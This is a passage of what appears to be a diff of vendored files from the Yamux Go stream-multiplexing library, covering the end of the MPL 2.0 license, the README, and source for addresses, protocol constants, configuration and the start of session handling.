|
||||
|
||||
1.13. "Source Code Form"
|
||||
|
||||
means the form of the work preferred for making modifications.
|
||||
|
||||
1.14. "You" (or "Your")
|
||||
|
||||
means an individual or a legal entity exercising rights under this
|
||||
License. For legal entities, "You" includes any entity that controls, is
|
||||
controlled by, or is under common control with You. For purposes of this
|
||||
definition, "control" means (a) the power, direct or indirect, to cause
|
||||
the direction or management of such entity, whether by contract or
|
||||
otherwise, or (b) ownership of more than fifty percent (50%) of the
|
||||
outstanding shares or beneficial ownership of such entity.
|
||||
|
||||
|
||||
2. License Grants and Conditions
|
||||
|
||||
2.1. Grants
|
||||
|
||||
Each Contributor hereby grants You a world-wide, royalty-free,
|
||||
non-exclusive license:
|
||||
|
||||
a. under intellectual property rights (other than patent or trademark)
|
||||
Licensable by such Contributor to use, reproduce, make available,
|
||||
modify, display, perform, distribute, and otherwise exploit its
|
||||
Contributions, either on an unmodified basis, with Modifications, or
|
||||
as part of a Larger Work; and
|
||||
|
||||
b. under Patent Claims of such Contributor to make, use, sell, offer for
|
||||
sale, have made, import, and otherwise transfer either its
|
||||
Contributions or its Contributor Version.
|
||||
|
||||
2.2. Effective Date
|
||||
|
||||
The licenses granted in Section 2.1 with respect to any Contribution
|
||||
become effective for each Contribution on the date the Contributor first
|
||||
distributes such Contribution.
|
||||
|
||||
2.3. Limitations on Grant Scope
|
||||
|
||||
The licenses granted in this Section 2 are the only rights granted under
|
||||
this License. No additional rights or licenses will be implied from the
|
||||
distribution or licensing of Covered Software under this License.
|
||||
Notwithstanding Section 2.1(b) above, no patent license is granted by a
|
||||
Contributor:
|
||||
|
||||
a. for any code that a Contributor has removed from Covered Software; or
|
||||
|
||||
b. for infringements caused by: (i) Your and any other third party's
|
||||
modifications of Covered Software, or (ii) the combination of its
|
||||
Contributions with other software (except as part of its Contributor
|
||||
Version); or
|
||||
|
||||
c. under Patent Claims infringed by Covered Software in the absence of
|
||||
its Contributions.
|
||||
|
||||
This License does not grant any rights in the trademarks, service marks,
|
||||
or logos of any Contributor (except as may be necessary to comply with
|
||||
the notice requirements in Section 3.4).
|
||||
|
||||
2.4. Subsequent Licenses
|
||||
|
||||
No Contributor makes additional grants as a result of Your choice to
|
||||
distribute the Covered Software under a subsequent version of this
|
||||
License (see Section 10.2) or under the terms of a Secondary License (if
|
||||
permitted under the terms of Section 3.3).
|
||||
|
||||
2.5. Representation
|
||||
|
||||
Each Contributor represents that the Contributor believes its
|
||||
Contributions are its original creation(s) or it has sufficient rights to
|
||||
grant the rights to its Contributions conveyed by this License.
|
||||
|
||||
2.6. Fair Use
|
||||
|
||||
This License is not intended to limit any rights You have under
|
||||
applicable copyright doctrines of fair use, fair dealing, or other
|
||||
equivalents.
|
||||
|
||||
2.7. Conditions
|
||||
|
||||
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
|
||||
Section 2.1.
|
||||
|
||||
|
||||
3. Responsibilities
|
||||
|
||||
3.1. Distribution of Source Form
|
||||
|
||||
All distribution of Covered Software in Source Code Form, including any
|
||||
Modifications that You create or to which You contribute, must be under
|
||||
the terms of this License. You must inform recipients that the Source
|
||||
Code Form of the Covered Software is governed by the terms of this
|
||||
License, and how they can obtain a copy of this License. You may not
|
||||
attempt to alter or restrict the recipients' rights in the Source Code
|
||||
Form.
|
||||
|
||||
3.2. Distribution of Executable Form
|
||||
|
||||
If You distribute Covered Software in Executable Form then:
|
||||
|
||||
a. such Covered Software must also be made available in Source Code Form,
|
||||
as described in Section 3.1, and You must inform recipients of the
|
||||
Executable Form how they can obtain a copy of such Source Code Form by
|
||||
reasonable means in a timely manner, at a charge no more than the cost
|
||||
of distribution to the recipient; and
|
||||
|
||||
b. You may distribute such Executable Form under the terms of this
|
||||
License, or sublicense it under different terms, provided that the
|
||||
license for the Executable Form does not attempt to limit or alter the
|
||||
recipients' rights in the Source Code Form under this License.
|
||||
|
||||
3.3. Distribution of a Larger Work
|
||||
|
||||
You may create and distribute a Larger Work under terms of Your choice,
|
||||
provided that You also comply with the requirements of this License for
|
||||
the Covered Software. If the Larger Work is a combination of Covered
|
||||
Software with a work governed by one or more Secondary Licenses, and the
|
||||
Covered Software is not Incompatible With Secondary Licenses, this
|
||||
License permits You to additionally distribute such Covered Software
|
||||
under the terms of such Secondary License(s), so that the recipient of
|
||||
the Larger Work may, at their option, further distribute the Covered
|
||||
Software under the terms of either this License or such Secondary
|
||||
License(s).
|
||||
|
||||
3.4. Notices
|
||||
|
||||
You may not remove or alter the substance of any license notices
|
||||
(including copyright notices, patent notices, disclaimers of warranty, or
|
||||
limitations of liability) contained within the Source Code Form of the
|
||||
Covered Software, except that You may alter any license notices to the
|
||||
extent required to remedy known factual inaccuracies.
|
||||
|
||||
3.5. Application of Additional Terms
|
||||
|
||||
You may choose to offer, and to charge a fee for, warranty, support,
|
||||
indemnity or liability obligations to one or more recipients of Covered
|
||||
Software. However, You may do so only on Your own behalf, and not on
|
||||
behalf of any Contributor. You must make it absolutely clear that any
|
||||
such warranty, support, indemnity, or liability obligation is offered by
|
||||
You alone, and You hereby agree to indemnify every Contributor for any
|
||||
liability incurred by such Contributor as a result of warranty, support,
|
||||
indemnity or liability terms You offer. You may include additional
|
||||
disclaimers of warranty and limitations of liability specific to any
|
||||
jurisdiction.
|
||||
|
||||
4. Inability to Comply Due to Statute or Regulation
|
||||
|
||||
If it is impossible for You to comply with any of the terms of this License
|
||||
with respect to some or all of the Covered Software due to statute,
|
||||
judicial order, or regulation then You must: (a) comply with the terms of
|
||||
this License to the maximum extent possible; and (b) describe the
|
||||
limitations and the code they affect. Such description must be placed in a
|
||||
text file included with all distributions of the Covered Software under
|
||||
this License. Except to the extent prohibited by statute or regulation,
|
||||
such description must be sufficiently detailed for a recipient of ordinary
|
||||
skill to be able to understand it.
|
||||
|
||||
5. Termination
|
||||
|
||||
5.1. The rights granted under this License will terminate automatically if You
|
||||
fail to comply with any of its terms. However, if You become compliant,
|
||||
then the rights granted under this License from a particular Contributor
|
||||
are reinstated (a) provisionally, unless and until such Contributor
|
||||
explicitly and finally terminates Your grants, and (b) on an ongoing
|
||||
basis, if such Contributor fails to notify You of the non-compliance by
|
||||
some reasonable means prior to 60 days after You have come back into
|
||||
compliance. Moreover, Your grants from a particular Contributor are
|
||||
reinstated on an ongoing basis if such Contributor notifies You of the
|
||||
non-compliance by some reasonable means, this is the first time You have
|
||||
received notice of non-compliance with this License from such
|
||||
Contributor, and You become compliant prior to 30 days after Your receipt
|
||||
of the notice.
|
||||
|
||||
5.2. If You initiate litigation against any entity by asserting a patent
|
||||
infringement claim (excluding declaratory judgment actions,
|
||||
counter-claims, and cross-claims) alleging that a Contributor Version
|
||||
directly or indirectly infringes any patent, then the rights granted to
|
||||
You by any and all Contributors for the Covered Software under Section
|
||||
2.1 of this License shall terminate.
|
||||
|
||||
5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
|
||||
license agreements (excluding distributors and resellers) which have been
|
||||
validly granted by You or Your distributors under this License prior to
|
||||
termination shall survive termination.
|
||||
|
||||
6. Disclaimer of Warranty
|
||||
|
||||
Covered Software is provided under this License on an "as is" basis,
|
||||
without warranty of any kind, either expressed, implied, or statutory,
|
||||
including, without limitation, warranties that the Covered Software is free
|
||||
of defects, merchantable, fit for a particular purpose or non-infringing.
|
||||
The entire risk as to the quality and performance of the Covered Software
|
||||
is with You. Should any Covered Software prove defective in any respect,
|
||||
You (not any Contributor) assume the cost of any necessary servicing,
|
||||
repair, or correction. This disclaimer of warranty constitutes an essential
|
||||
part of this License. No use of any Covered Software is authorized under
|
||||
this License except under this disclaimer.
|
||||
|
||||
7. Limitation of Liability
|
||||
|
||||
Under no circumstances and under no legal theory, whether tort (including
|
||||
negligence), contract, or otherwise, shall any Contributor, or anyone who
|
||||
distributes Covered Software as permitted above, be liable to You for any
|
||||
direct, indirect, special, incidental, or consequential damages of any
|
||||
character including, without limitation, damages for lost profits, loss of
|
||||
goodwill, work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses, even if such party shall have been
|
||||
informed of the possibility of such damages. This limitation of liability
|
||||
shall not apply to liability for death or personal injury resulting from
|
||||
such party's negligence to the extent applicable law prohibits such
|
||||
limitation. Some jurisdictions do not allow the exclusion or limitation of
|
||||
incidental or consequential damages, so this exclusion and limitation may
|
||||
not apply to You.
|
||||
|
||||
8. Litigation
|
||||
|
||||
Any litigation relating to this License may be brought only in the courts
|
||||
of a jurisdiction where the defendant maintains its principal place of
|
||||
business and such litigation shall be governed by laws of that
|
||||
jurisdiction, without reference to its conflict-of-law provisions. Nothing
|
||||
in this Section shall prevent a party's ability to bring cross-claims or
|
||||
counter-claims.
|
||||
|
||||
9. Miscellaneous
|
||||
|
||||
This License represents the complete agreement concerning the subject
|
||||
matter hereof. If any provision of this License is held to be
|
||||
unenforceable, such provision shall be reformed only to the extent
|
||||
necessary to make it enforceable. Any law or regulation which provides that
|
||||
the language of a contract shall be construed against the drafter shall not
|
||||
be used to construe this License against a Contributor.
|
||||
|
||||
|
||||
10. Versions of the License
|
||||
|
||||
10.1. New Versions
|
||||
|
||||
Mozilla Foundation is the license steward. Except as provided in Section
|
||||
10.3, no one other than the license steward has the right to modify or
|
||||
publish new versions of this License. Each version will be given a
|
||||
distinguishing version number.
|
||||
|
||||
10.2. Effect of New Versions
|
||||
|
||||
You may distribute the Covered Software under the terms of the version
|
||||
of the License under which You originally received the Covered Software,
|
||||
or under the terms of any subsequent version published by the license
|
||||
steward.
|
||||
|
||||
10.3. Modified Versions
|
||||
|
||||
If you create software not governed by this License, and you want to
|
||||
create a new license for such software, you may create and use a
|
||||
modified version of this License if you rename the license and remove
|
||||
any references to the name of the license steward (except to note that
|
||||
such modified license differs from this License).
|
||||
|
||||
10.4. Distributing Source Code Form that is Incompatible With Secondary
|
||||
Licenses If You choose to distribute Source Code Form that is
|
||||
Incompatible With Secondary Licenses under the terms of this version of
|
||||
the License, the notice described in Exhibit B of this License must be
|
||||
attached.
|
||||
|
||||
Exhibit A - Source Code Form License Notice
|
||||
|
||||
This Source Code Form is subject to the
|
||||
terms of the Mozilla Public License, v.
|
||||
2.0. If a copy of the MPL was not
|
||||
distributed with this file, You can
|
||||
obtain one at
|
||||
http://mozilla.org/MPL/2.0/.
|
||||
|
||||
If it is not possible or desirable to put the notice in a particular file,
|
||||
then You may include the notice in a location (such as a LICENSE file in a
|
||||
relevant directory) where a recipient would be likely to look for such a
|
||||
notice.
|
||||
|
||||
You may add additional accurate notices of copyright ownership.
|
||||
|
||||
Exhibit B - "Incompatible With Secondary Licenses" Notice
|
||||
|
||||
This Source Code Form is "Incompatible
|
||||
With Secondary Licenses", as defined by
|
||||
the Mozilla Public License, v. 2.0.
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
# Yamux
|
||||
|
||||
Yamux (Yet another Multiplexer) is a multiplexing library for Golang.
|
||||
It relies on an underlying connection to provide reliability
|
||||
and ordering, such as TCP or Unix domain sockets, and provides
|
||||
stream-oriented multiplexing. It is inspired by SPDY but is not
|
||||
interoperable with it.
|
||||
|
||||
Yamux features include:
|
||||
|
||||
* Bi-directional streams
|
||||
* Streams can be opened by either client or server
|
||||
* Useful for NAT traversal
|
||||
* Server-side push support
|
||||
* Flow control
|
||||
* Avoid starvation
|
||||
* Back-pressure to prevent overwhelming a receiver
|
||||
* Keep Alives
|
||||
* Enables persistent connections over a load balancer
|
||||
* Efficient
|
||||
* Enables thousands of logical streams with low overhead
|
||||
|
||||
## Documentation
|
||||
|
||||
For complete documentation, see the associated [Godoc](http://godoc.org/github.com/hashicorp/yamux).
|
||||
|
||||
## Specification
|
||||
|
||||
The full specification for Yamux is provided in the `spec.md` file.
|
||||
It can be used as a guide to implementors of interoperable libraries.
|
||||
|
||||
## Usage
|
||||
|
||||
Using Yamux is remarkably simple:
|
||||
|
||||
```go
|
||||
|
||||
func client() {
|
||||
// Get a TCP connection
|
||||
conn, err := net.Dial(...)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Setup client side of yamux
|
||||
session, err := yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Open a new stream
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Stream implements net.Conn
|
||||
stream.Write([]byte("ping"))
|
||||
}
|
||||
|
||||
func server() {
|
||||
// Accept a TCP connection
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Setup server side of yamux
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Accept a stream
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Listen for a message
|
||||
buf := make([]byte, 4)
|
||||
stream.Read(buf)
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// hasAddr is used to get the address from the underlying connection
|
||||
type hasAddr interface {
|
||||
LocalAddr() net.Addr
|
||||
RemoteAddr() net.Addr
|
||||
}
|
||||
|
||||
// yamuxAddr is used when we cannot get the underlying address
|
||||
type yamuxAddr struct {
|
||||
Addr string
|
||||
}
|
||||
|
||||
func (*yamuxAddr) Network() string {
|
||||
return "yamux"
|
||||
}
|
||||
|
||||
func (y *yamuxAddr) String() string {
|
||||
return fmt.Sprintf("yamux:%s", y.Addr)
|
||||
}
|
||||
|
||||
// Addr is used to get the address of the listener.
|
||||
func (s *Session) Addr() net.Addr {
|
||||
return s.LocalAddr()
|
||||
}
|
||||
|
||||
// LocalAddr is used to get the local address of the
|
||||
// underlying connection.
|
||||
func (s *Session) LocalAddr() net.Addr {
|
||||
addr, ok := s.conn.(hasAddr)
|
||||
if !ok {
|
||||
return &yamuxAddr{"local"}
|
||||
}
|
||||
return addr.LocalAddr()
|
||||
}
|
||||
|
||||
// RemoteAddr is used to get the address of remote end
|
||||
// of the underlying connection
|
||||
func (s *Session) RemoteAddr() net.Addr {
|
||||
addr, ok := s.conn.(hasAddr)
|
||||
if !ok {
|
||||
return &yamuxAddr{"remote"}
|
||||
}
|
||||
return addr.RemoteAddr()
|
||||
}
|
||||
|
||||
// LocalAddr returns the local address
|
||||
func (s *Stream) LocalAddr() net.Addr {
|
||||
return s.session.LocalAddr()
|
||||
}
|
||||
|
||||
// RemoteAddr returns the remote address
|
||||
func (s *Stream) RemoteAddr() net.Addr {
|
||||
return s.session.RemoteAddr()
|
||||
}
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// NetError implements net.Error
|
||||
type NetError struct {
|
||||
err error
|
||||
timeout bool
|
||||
temporary bool
|
||||
}
|
||||
|
||||
func (e *NetError) Error() string {
|
||||
return e.err.Error()
|
||||
}
|
||||
|
||||
func (e *NetError) Timeout() bool {
|
||||
return e.timeout
|
||||
}
|
||||
|
||||
func (e *NetError) Temporary() bool {
|
||||
return e.temporary
|
||||
}
|
||||
|
||||
var (
|
||||
// ErrInvalidVersion means we received a frame with an
|
||||
// invalid version
|
||||
ErrInvalidVersion = fmt.Errorf("invalid protocol version")
|
||||
|
||||
// ErrInvalidMsgType means we received a frame with an
|
||||
// invalid message type
|
||||
ErrInvalidMsgType = fmt.Errorf("invalid msg type")
|
||||
|
||||
// ErrSessionShutdown is used if there is a shutdown during
|
||||
// an operation
|
||||
ErrSessionShutdown = fmt.Errorf("session shutdown")
|
||||
|
||||
// ErrStreamsExhausted is returned if we have no more
|
||||
// stream ids to issue
|
||||
ErrStreamsExhausted = fmt.Errorf("streams exhausted")
|
||||
|
||||
// ErrDuplicateStream is used if a duplicate stream is
|
||||
// opened inbound
|
||||
ErrDuplicateStream = fmt.Errorf("duplicate stream initiated")
|
||||
|
||||
// ErrReceiveWindowExceeded indicates the window was exceeded
|
||||
ErrRecvWindowExceeded = fmt.Errorf("recv window exceeded")
|
||||
|
||||
// ErrTimeout is used when we reach an IO deadline
|
||||
ErrTimeout = &NetError{
|
||||
err: fmt.Errorf("i/o deadline reached"),
|
||||
|
||||
// Error should meet net.Error interface for timeouts for compatability
|
||||
// with standard library expectations, such as http servers.
|
||||
timeout: true,
|
||||
}
|
||||
|
||||
// ErrStreamClosed is returned when using a closed stream
|
||||
ErrStreamClosed = fmt.Errorf("stream closed")
|
||||
|
||||
// ErrUnexpectedFlag is set when we get an unexpected flag
|
||||
ErrUnexpectedFlag = fmt.Errorf("unexpected flag")
|
||||
|
||||
// ErrRemoteGoAway is used when we get a go away from the other side
|
||||
ErrRemoteGoAway = fmt.Errorf("remote end is not accepting connections")
|
||||
|
||||
// ErrConnectionReset is sent if a stream is reset. This can happen
|
||||
// if the backlog is exceeded, or if there was a remote GoAway.
|
||||
ErrConnectionReset = fmt.Errorf("connection reset")
|
||||
|
||||
// ErrConnectionWriteTimeout indicates that we hit the "safety valve"
|
||||
// timeout writing to the underlying stream connection.
|
||||
ErrConnectionWriteTimeout = fmt.Errorf("connection write timeout")
|
||||
|
||||
// ErrKeepAliveTimeout is sent if a missed keepalive caused the stream close
|
||||
ErrKeepAliveTimeout = fmt.Errorf("keepalive timeout")
|
||||
)
|
||||
|
||||
const (
|
||||
// protoVersion is the only version we support
|
||||
protoVersion uint8 = 0
|
||||
)
|
||||
|
||||
const (
|
||||
// Data is used for data frames. They are followed
|
||||
// by length bytes worth of payload.
|
||||
typeData uint8 = iota
|
||||
|
||||
// WindowUpdate is used to change the window of
|
||||
// a given stream. The length indicates the delta
|
||||
// update to the window.
|
||||
typeWindowUpdate
|
||||
|
||||
// Ping is sent as a keep-alive or to measure
|
||||
// the RTT. The StreamID and Length value are echoed
|
||||
// back in the response.
|
||||
typePing
|
||||
|
||||
// GoAway is sent to terminate a session. The StreamID
|
||||
// should be 0 and the length is an error code.
|
||||
typeGoAway
|
||||
)
|
||||
|
||||
const (
|
||||
// SYN is sent to signal a new stream. May
|
||||
// be sent with a data payload
|
||||
flagSYN uint16 = 1 << iota
|
||||
|
||||
// ACK is sent to acknowledge a new stream. May
|
||||
// be sent with a data payload
|
||||
flagACK
|
||||
|
||||
// FIN is sent to half-close the given stream.
|
||||
// May be sent with a data payload.
|
||||
flagFIN
|
||||
|
||||
// RST is used to hard close a given stream.
|
||||
flagRST
|
||||
)
|
||||
|
||||
const (
|
||||
// initialStreamWindow is the initial stream window size
|
||||
initialStreamWindow uint32 = 256 * 1024
|
||||
)
|
||||
|
||||
const (
|
||||
// goAwayNormal is sent on a normal termination
|
||||
goAwayNormal uint32 = iota
|
||||
|
||||
// goAwayProtoErr sent on a protocol error
|
||||
goAwayProtoErr
|
||||
|
||||
// goAwayInternalErr sent on an internal error
|
||||
goAwayInternalErr
|
||||
)
|
||||
|
||||
const (
|
||||
sizeOfVersion = 1
|
||||
sizeOfType = 1
|
||||
sizeOfFlags = 2
|
||||
sizeOfStreamID = 4
|
||||
sizeOfLength = 4
|
||||
headerSize = sizeOfVersion + sizeOfType + sizeOfFlags +
|
||||
sizeOfStreamID + sizeOfLength
|
||||
)
|
||||
|
||||
type header []byte
|
||||
|
||||
func (h header) Version() uint8 {
|
||||
return h[0]
|
||||
}
|
||||
|
||||
func (h header) MsgType() uint8 {
|
||||
return h[1]
|
||||
}
|
||||
|
||||
func (h header) Flags() uint16 {
|
||||
return binary.BigEndian.Uint16(h[2:4])
|
||||
}
|
||||
|
||||
func (h header) StreamID() uint32 {
|
||||
return binary.BigEndian.Uint32(h[4:8])
|
||||
}
|
||||
|
||||
func (h header) Length() uint32 {
|
||||
return binary.BigEndian.Uint32(h[8:12])
|
||||
}
|
||||
|
||||
func (h header) String() string {
|
||||
return fmt.Sprintf("Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d",
|
||||
h.Version(), h.MsgType(), h.Flags(), h.StreamID(), h.Length())
|
||||
}
|
||||
|
||||
func (h header) encode(msgType uint8, flags uint16, streamID uint32, length uint32) {
|
||||
h[0] = protoVersion
|
||||
h[1] = msgType
|
||||
binary.BigEndian.PutUint16(h[2:4], flags)
|
||||
binary.BigEndian.PutUint32(h[4:8], streamID)
|
||||
binary.BigEndian.PutUint32(h[8:12], length)
|
||||
}
|
||||
+118
@@ -0,0 +1,118 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Config is used to tune the Yamux session
|
||||
type Config struct {
|
||||
// AcceptBacklog is used to limit how many streams may be
|
||||
// waiting an accept.
|
||||
AcceptBacklog int
|
||||
|
||||
// EnableKeepalive is used to do a period keep alive
|
||||
// messages using a ping.
|
||||
EnableKeepAlive bool
|
||||
|
||||
// KeepAliveInterval is how often to perform the keep alive
|
||||
KeepAliveInterval time.Duration
|
||||
|
||||
// ConnectionWriteTimeout is meant to be a "safety valve" timeout after
|
||||
// we which will suspect a problem with the underlying connection and
|
||||
// close it. This is only applied to writes, where's there's generally
|
||||
// an expectation that things will move along quickly.
|
||||
ConnectionWriteTimeout time.Duration
|
||||
|
||||
// MaxStreamWindowSize is used to control the maximum
|
||||
// window size that we allow for a stream.
|
||||
MaxStreamWindowSize uint32
|
||||
|
||||
// StreamOpenTimeout is the maximum amount of time that a stream will
|
||||
// be allowed to remain in pending state while waiting for an ack from the peer.
|
||||
// Once the timeout is reached the session will be gracefully closed.
|
||||
// A zero value disables the StreamOpenTimeout allowing unbounded
|
||||
// blocking on OpenStream calls.
|
||||
StreamOpenTimeout time.Duration
|
||||
|
||||
// StreamCloseTimeout is the maximum time that a stream will allowed to
|
||||
// be in a half-closed state when `Close` is called before forcibly
|
||||
// closing the connection. Forcibly closed connections will empty the
|
||||
// receive buffer, drop any future packets received for that stream,
|
||||
// and send a RST to the remote side.
|
||||
StreamCloseTimeout time.Duration
|
||||
|
||||
// LogOutput is used to control the log destination. Either Logger or
|
||||
// LogOutput can be set, not both.
|
||||
LogOutput io.Writer
|
||||
|
||||
// Logger is used to pass in the logger to be used. Either Logger or
|
||||
// LogOutput can be set, not both.
|
||||
Logger Logger
|
||||
}
|
||||
|
||||
func (c *Config) Clone() *Config {
|
||||
c2 := *c
|
||||
return &c2
|
||||
}
|
||||
|
||||
// DefaultConfig is used to return a default configuration
|
||||
func DefaultConfig() *Config {
|
||||
return &Config{
|
||||
AcceptBacklog: 256,
|
||||
EnableKeepAlive: true,
|
||||
KeepAliveInterval: 30 * time.Second,
|
||||
ConnectionWriteTimeout: 10 * time.Second,
|
||||
MaxStreamWindowSize: initialStreamWindow,
|
||||
StreamCloseTimeout: 5 * time.Minute,
|
||||
StreamOpenTimeout: 75 * time.Second,
|
||||
LogOutput: os.Stderr,
|
||||
}
|
||||
}
|
||||
|
||||
// VerifyConfig is used to verify the sanity of configuration
|
||||
func VerifyConfig(config *Config) error {
|
||||
if config.AcceptBacklog <= 0 {
|
||||
return fmt.Errorf("backlog must be positive")
|
||||
}
|
||||
if config.KeepAliveInterval == 0 {
|
||||
return fmt.Errorf("keep-alive interval must be positive")
|
||||
}
|
||||
if config.MaxStreamWindowSize < initialStreamWindow {
|
||||
return fmt.Errorf("MaxStreamWindowSize must be larger than %d", initialStreamWindow)
|
||||
}
|
||||
if config.LogOutput != nil && config.Logger != nil {
|
||||
return fmt.Errorf("both Logger and LogOutput may not be set, select one")
|
||||
} else if config.LogOutput == nil && config.Logger == nil {
|
||||
return fmt.Errorf("one of Logger or LogOutput must be set, select one")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Server is used to initialize a new server-side connection.
|
||||
// There must be at most one server-side connection. If a nil config is
|
||||
// provided, the DefaultConfiguration will be used.
|
||||
func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) {
|
||||
if config == nil {
|
||||
config = DefaultConfig()
|
||||
}
|
||||
if err := VerifyConfig(config); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return newSession(config, conn, false), nil
|
||||
}
|
||||
|
||||
// Client is used to initialize a new client-side connection.
|
||||
// There must be at most one client-side connection.
|
||||
func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) {
|
||||
if config == nil {
|
||||
config = DefaultConfig()
|
||||
}
|
||||
|
||||
if err := VerifyConfig(config); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return newSession(config, conn, true), nil
|
||||
}
|
||||
+749
@@ -0,0 +1,749 @@
|
||||
package yamux
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"math"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Session is used to wrap a reliable ordered connection and to
|
||||
// multiplex it into multiple streams.
|
||||
type Session struct {
|
||||
// remoteGoAway indicates the remote side does
|
||||
// not want futher connections. Must be first for alignment.
|
||||
remoteGoAway int32
|
||||
|
||||
// localGoAway indicates that we should stop
|
||||
// accepting futher connections. Must be first for alignment.
|
||||
localGoAway int32
|
||||
|
||||
// nextStreamID is the next stream we should
|
||||
// send. This depends if we are a client/server.
|
||||
nextStreamID uint32
|
||||
|
||||
// config holds our configuration
|
||||
config *Config
|
||||
|
||||
// logger is used for our logs
|
||||
logger Logger
|
||||
|
||||
// conn is the underlying connection
|
||||
conn io.ReadWriteCloser
|
||||
|
||||
// bufRead is a buffered reader
|
||||
bufRead *bufio.Reader
|
||||
|
||||
// pings is used to track inflight pings
|
||||
pings map[uint32]chan struct{}
|
||||
pingID uint32
|
||||
pingLock sync.Mutex
|
||||
|
||||
// streams maps a stream id to a stream, and inflight has an entry
|
||||
// for any outgoing stream that has not yet been established. Both are
|
||||
// protected by streamLock.
|
||||
streams map[uint32]*Stream
|
||||
inflight map[uint32]struct{}
|
||||
streamLock sync.Mutex
|
||||
|
||||
// synCh acts like a semaphore. It is sized to the AcceptBacklog which
|
||||
// is assumed to be symmetric between the client and server. This allows
|
||||
// the client to avoid exceeding the backlog and instead blocks the open.
|
||||
synCh chan struct{}
|
||||
|
||||
// acceptCh is used to pass ready streams to the client
|
||||
acceptCh chan *Stream
|
||||
|
||||
// sendCh is used to mark a stream as ready to send,
|
||||
// or to send a header out directly.
|
||||
sendCh chan *sendReady
|
||||
|
||||
// recvDoneCh is closed when recv() exits to avoid a race
|
||||
// between stream registration and stream shutdown
|
||||
recvDoneCh chan struct{}
|
||||
sendDoneCh chan struct{}
|
||||
|
||||
// shutdown is used to safely close a session
|
||||
shutdown bool
|
||||
shutdownErr error
|
||||
shutdownCh chan struct{}
|
||||
shutdownLock sync.Mutex
|
||||
shutdownErrLock sync.Mutex
|
||||
}
|
||||
|
||||
// sendReady is used to either mark a stream as ready
|
||||
// or to directly send a header
|
||||
type sendReady struct {
|
||||
Hdr []byte
|
||||
mu sync.Mutex // Protects Body from unsafe reads.
|
||||
Body []byte
|
||||
Err chan error
|
||||
}
|
||||
|
||||
// newSession is used to construct a new session
|
||||
func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session {
|
||||
logger := config.Logger
|
||||
if logger == nil {
|
||||
logger = log.New(config.LogOutput, "", log.LstdFlags)
|
||||
}
|
||||
|
||||
s := &Session{
|
||||
config: config,
|
||||
logger: logger,
|
||||
conn: conn,
|
||||
bufRead: bufio.NewReader(conn),
|
||||
pings: make(map[uint32]chan struct{}),
|
||||
streams: make(map[uint32]*Stream),
|
||||
inflight: make(map[uint32]struct{}),
|
||||
synCh: make(chan struct{}, config.AcceptBacklog),
|
||||
acceptCh: make(chan *Stream, config.AcceptBacklog),
|
||||
sendCh: make(chan *sendReady, 64),
|
||||
recvDoneCh: make(chan struct{}),
|
||||
sendDoneCh: make(chan struct{}),
|
||||
shutdownCh: make(chan struct{}),
|
||||
}
|
||||
if client {
|
||||
s.nextStreamID = 1
|
||||
} else {
|
||||
s.nextStreamID = 2
|
||||
}
|
||||
go s.recv()
|
||||
go s.send()
|
||||
if config.EnableKeepAlive {
|
||||
go s.keepalive()
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// IsClosed does a safe check to see if we have shutdown
|
||||
func (s *Session) IsClosed() bool {
|
||||
select {
|
||||
case <-s.shutdownCh:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// CloseChan returns a read-only channel which is closed as
|
||||
// soon as the session is closed.
|
||||
func (s *Session) CloseChan() <-chan struct{} {
|
||||
return s.shutdownCh
|
||||
}
|
||||
|
||||
// NumStreams returns the number of currently open streams
|
||||
func (s *Session) NumStreams() int {
|
||||
s.streamLock.Lock()
|
||||
num := len(s.streams)
|
||||
s.streamLock.Unlock()
|
||||
return num
|
||||
}
|
||||
|
||||
// Open is used to create a new stream as a net.Conn
|
||||
func (s *Session) Open() (net.Conn, error) {
|
||||
conn, err := s.OpenStream()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// OpenStream is used to create a new stream
|
||||
func (s *Session) OpenStream() (*Stream, error) {
|
||||
if s.IsClosed() {
|
||||
return nil, ErrSessionShutdown
|
||||
}
|
||||
if atomic.LoadInt32(&s.remoteGoAway) == 1 {
|
||||
return nil, ErrRemoteGoAway
|
||||
}
|
||||
|
||||
// Block if we have too many inflight SYNs
|
||||
select {
|
||||
case s.synCh <- struct{}{}:
|
||||
case <-s.shutdownCh:
|
||||
return nil, ErrSessionShutdown
|
||||
}
|
||||
|
||||
